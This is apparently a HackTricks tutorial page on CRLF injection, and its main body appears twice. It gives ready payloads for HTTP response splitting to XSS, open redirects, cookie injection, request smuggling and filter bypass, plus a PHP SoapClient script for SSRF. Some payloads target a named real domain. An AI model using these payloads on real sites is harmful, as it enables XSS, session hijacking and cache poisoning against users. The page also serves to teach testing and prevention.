# CRLF (%0D%0A) Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## What is CRLF?
When a browser sends a request to a web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF.
The web server uses the CRLF to understand when new HTTP header begins and another one ends. The CRLF can also tell a web application or user that a new line begins in a file or in a text block. The CRLF characters are a standard HTTP/1.1 message, so it is used by any type of web server, including Apache, Microsoft IIS and all others.\
From [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### What is the CRLF Injection Vulnerability?
In a CRLF injection vulnerability attack the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. As such the CRLF sequences are not malicious characters, however they can be used for malicious intend, for HTTP response splitting etc.
## CRLF injection in web applications
In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability. In fact a CRLF injection attack can have very serious repercussions on a web application, even though it was never listed in the OWASP Top 10 list. For example it is also possible to manipulate log files in an admin panel as explained in the below example.
#### An example of CRLF Injection in a log file
Imagine a log file in an admin panel with the output stream pattern of IP - Time - Visited Path, such as the below:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
The %0d and %0a are the url encoded forms of CR and LF. Therefore the log entries would look like this after the attacker inserted those characters and the application displays it:
IP - Time - Visited Path
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Therefore by exploiting a CRLF injection vulnerability the attacker can fake entries in the log file to obfuscate his own malicious actions. The attacker is literally doing page hijacking and modifying the response. For example imagine a scenario where the attacker has the admin password and executed the restrictedaction parameter, which can only be used by an admin.
The problem is that if the administrator notices that an unknown IP used the restrictedaction parameter, will notice that something is wrong. However, since now it looks like the command was issued by the localhost (and therefore probably by someone who has access to the server, like an admin) it does not look suspicious.
The whole part of the query beginning with %0d%0a will be handled by the server as one parameter. After that there is another & with the parameter restricted action which will be parsed by the server as another parameter. Effectively this would be the same query as:
```
/index.php?page=home&restrictedaction=edit
```
### HTTP Response Splitting
#### Description
Since the header of a HTTP response and its body are separated by CRLF characters an attacker can try to inject those. A combination of CRLFCRLF will tell the browser that the header ends and the body begins. That means that he is now able to write data inside the response body where the html code is stored. This can lead to a Cross-site Scripting vulnerability.
#### An example of HTTP Response Splitting leading to XSS
Imagine an application that sets a custom header, for example:
```
X-Your-Name: Bob
```
The value of the header is set via a get parameter called "name". If no URL encoding is in place and the value is directly reflected inside the header it might be possible for an attacker to insert the above mentioned combination of CRLFCRLF to tell the browser that the request body begins. That way he is able to insert data such as XSS payload, for example:
```
?name=Bob%0d%0a%0d%0a
```
The above will display an alert window in the context of the attacked domain.
#### An example of HTTP Response Splitting leading to Redirect
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Browser to:
```
/%0d%0aLocation:%20http://myweb.com
```
And the server responses with the header:
```
Location: http://myweb.com
```
**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### In URL Path
You can send the payload **inside the URL path** to control the **response** from the server:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP Header Injection
#### Description
By exploiting a CRLF injection an attacker can also insert HTTP headers which could be used to defeat security mechanisms such as a browser's XSS filter or the same-origin-policy. This allows the attacker to gain sensitive information like CSRF tokens. He can also set cookies which could be exploited by logging the victim in the attacker's account or by exploiting otherwise unexploitable [cross-site scripting (XSS) vulnerabilities](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/).
#### An example of HTTP Header Injection to extract sensitive data
If an attacker is able to inject the HTTP headers that activate CORS (Cross Origin Resource Sharing), he can use javascript to access resources that are otherwise protected by SOP (Same Origin Policy) which prevents sites from different origins to access each other.
### New HTTP request in SSRF
Abusing CRLF injection you can **craft a new HTTP request and inject it**.\
A good example can be done using the `SoapClient` deserialization gadget from in PHP. This class is **vulnerable to CRLF** inside the `user_agent` parameter allowing to i**nsert new headers and body content**. However, you can even be able to abuse this vulnerability to **inject a new HTTP request:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Header Injection to Request Smuggling
You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Then, **specify a second request**. Here you have a **classic** [**request smuggling**](http-request-smuggling/) \*\*\*\* with **extra** **headers/body** appended by the server after the injection.\
Here's two of the many options for cross-user exploitation.
Specifying a **malicious prefix** to poison either the next user's request, or a web cache:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Or crafting our prefix to combine with the trailing junk and create a complete second request in order to trigger **response queue poisoning**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Memcache Injection
Memcache is a **key-value store that uses a clear text protocol**. More info in:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
If a plarform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.
For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers:
Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:
**For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impacts of the CRLF injection Vulnerability
The impact of CRLF injections vary and also include all the impacts of Cross-site Scripting to information disclosure. It can also deactivate certain security restrictions like XSS Filters and the Same Origin Policy in the victim's browsers, leaving them susceptible to malicious attacks.
### How to Prevent CRLF / HTTP Header Injections in Web Applications
The best prevention technique is to not use users input directly inside response headers. If that is not possible, you should always use a function to encode the CRLF special characters. Another good web application security best practise is to update your programming language to a version that does not allow CR and LF to be injected inside functions that set HTTP headers.
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Tool
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
## References
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 (1) (4).png)
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## What is CRLF?
When a browser sends a request to a web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF.
The web server uses the CRLF to understand when new HTTP header begins and another one ends. The CRLF can also tell a web application or user that a new line begins in a file or in a text block. The CRLF characters are a standard HTTP/1.1 message, so it is used by any type of web server, including Apache, Microsoft IIS and all others.\
From [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### What is the CRLF Injection Vulnerability?
In a CRLF injection vulnerability attack the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. As such the CRLF sequences are not malicious characters, however they can be used for malicious intend, for HTTP response splitting etc.
## CRLF injection in web applications
In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability. In fact a CRLF injection attack can have very serious repercussions on a web application, even though it was never listed in the OWASP Top 10 list. For example it is also possible to manipulate log files in an admin panel as explained in the below example.
#### An example of CRLF Injection in a log file
Imagine a log file in an admin panel with the output stream pattern of IP - Time - Visited Path, such as the below:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
The %0d and %0a are the url encoded forms of CR and LF. Therefore the log entries would look like this after the attacker inserted those characters and the application displays it:
IP - Time - Visited Path
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Therefore by exploiting a CRLF injection vulnerability the attacker can fake entries in the log file to obfuscate his own malicious actions. The attacker is literally doing page hijacking and modifying the response. For example imagine a scenario where the attacker has the admin password and executed the restrictedaction parameter, which can only be used by an admin.
The problem is that if the administrator notices that an unknown IP used the restrictedaction parameter, will notice that something is wrong. However, since now it looks like the command was issued by the localhost (and therefore probably by someone who has access to the server, like an admin) it does not look suspicious.
The whole part of the query beginning with %0d%0a will be handled by the server as one parameter. After that there is another & with the parameter restricted action which will be parsed by the server as another parameter. Effectively this would be the same query as:
```
/index.php?page=home&restrictedaction=edit
```
### HTTP Response Splitting
#### Description
Since the header of a HTTP response and its body are separated by CRLF characters an attacker can try to inject those. A combination of CRLFCRLF will tell the browser that the header ends and the body begins. That means that he is now able to write data inside the response body where the html code is stored. This can lead to a Cross-site Scripting vulnerability.
#### An example of HTTP Response Splitting leading to XSS
Imagine an application that sets a custom header, for example:
```
X-Your-Name: Bob
```
The value of the header is set via a get parameter called "name". If no URL encoding is in place and the value is directly reflected inside the header it might be possible for an attacker to insert the above mentioned combination of CRLFCRLF to tell the browser that the request body begins. That way he is able to insert data such as XSS payload, for example:
```
?name=Bob%0d%0a%0d%0a
```
The above will display an alert window in the context of the attacked domain.
#### An example of HTTP Response Splitting leading to Redirect
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Browser to:
```
/%0d%0aLocation:%20http://myweb.com
```
And the server responses with the header:
```
Location: http://myweb.com
```
**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### In URL Path
You can send the payload **inside the URL path** to control the **response** from the server:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP Header Injection
#### Description
By exploiting a CRLF injection an attacker can also insert HTTP headers which could be used to defeat security mechanisms such as a browser's XSS filter or the same-origin-policy. This allows the attacker to gain sensitive information like CSRF tokens. He can also set cookies which could be exploited by logging the victim in the attacker's account or by exploiting otherwise unexploitable [cross-site scripting (XSS) vulnerabilities](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/).
#### An example of HTTP Header Injection to extract sensitive data
If an attacker is able to inject the HTTP headers that activate CORS (Cross Origin Resource Sharing), he can use javascript to access resources that are otherwise protected by SOP (Same Origin Policy) which prevents sites from different origins to access each other.
### New HTTP request in SSRF
Abusing CRLF injection you can **craft a new HTTP request and inject it**.\
A good example can be done using the `SoapClient` deserialization gadget from in PHP. This class is **vulnerable to CRLF** inside the `user_agent` parameter allowing to i**nsert new headers and body content**. However, you can even be able to abuse this vulnerability to **inject a new HTTP request:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Header Injection to Request Smuggling
You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Then, **specify a second request**. Here you have a **classic** [**request smuggling**](http-request-smuggling/) \*\*\*\* with **extra** **headers/body** appended by the server after the injection.\
Here's two of the many options for cross-user exploitation.
Specifying a **malicious prefix** to poison either the next user's request, or a web cache:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Or crafting our prefix to combine with the trailing junk and create a complete second request in order to trigger **response queue poisoning**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Memcache Injection
Memcache is a **key-value store that uses a clear text protocol**. More info in:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
If a plarform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.
For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers:
.png)
.png)